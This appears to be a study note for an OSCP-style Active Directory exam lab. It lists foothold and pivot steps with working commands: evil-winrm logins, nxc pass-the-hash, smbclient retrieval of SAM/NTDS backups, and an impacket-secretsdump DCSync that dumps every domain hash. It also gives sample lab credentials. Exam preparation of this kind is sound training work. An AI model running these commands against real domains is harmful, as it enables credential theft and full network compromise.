Initial Foothold Vectors

AD — Initial Foothold Vectors

All AD exam instances used an assumed breach scenario. The initial foothold on External was provided via the exam brief rather than discovered.


1. Assumed Breach — Given Credentials → WinRM (External)

Seen in: Exam B (External), Exam C (External)
OS: Windows (domain-joined workstation, oscp.exam domain)
Ports: 5985 (WinRM)

Discovery Steps

  1. Exam brief provides domain credentials for a low-privilege domain user (e.g., r.andrews:BusyOfficeWorker890) and the External IP

Exploitation Steps

  1. evil-winrm -i $IP -u 'r.andrews' -p 'BusyOfficeWorker890' → interactive PowerShell session on External
  2. whoami /priv → identify which token privilege is present (SeDebugPrivilege or SeBackupPrivilege depending on exam instance)
  3. Proceed with privilege escalation — see AD/PrivEsc Vectors

Notes


2. Credential Pivot from External → SMB Access to Internal

Seen in: Exam C (Internal)
OS: Windows Server (domain member)
Ports: 445 (SMB)

Discovery Steps

  1. After dumping credentials from External (via LSASS or SAM/SYSTEM hive), identify plaintext passwords or NTLM hashes for accounts valid on Internal

Exploitation Steps

  1. nxc smb $INTERNAL_IP -u $USER -p $PASS or pass-the-hash: nxc smb $INTERNAL_IP -u $USER -H $HASH → confirm valid auth on Internal
  2. nxc smb $INTERNAL_IP -u $USER -p $PASS --shares → enumerate shares; look for non-standard shares containing backup files
  3. smbclient //$INTERNAL_IP/$SHARE -U $USER%$PASS → browse and download backup files (SAM/SYSTEM hives or NTDS artifacts)
  4. Proceed with PrivEsc to dump further credentials — see AD/PrivEsc Vectors

Notes


3. High-Privilege Account → Domain Controller (DC)

Seen in: Exam C (DC)
OS: Windows Server (Domain Controller)

Discovery Steps

  1. After extracting credentials from Internal's backup files, identify an account with excessive AD permissions (DCSync rights, Domain Admins membership, or WriteDACL on the domain object)

Exploitation Steps

  1. DCSync: impacket-secretsdump -just-dc-ntlm oscp.exam/$USER:$PASS@$DC_IP → dumps all domain NTLM hashes including Administrator
  2. Pass-the-hash to DC: evil-winrm -i $DC_IP -u Administrator -H $HASH → Domain Admin shell
  3. Retrieve proof.txt from C:\Users\Administrator\Desktop\

Notes


See Also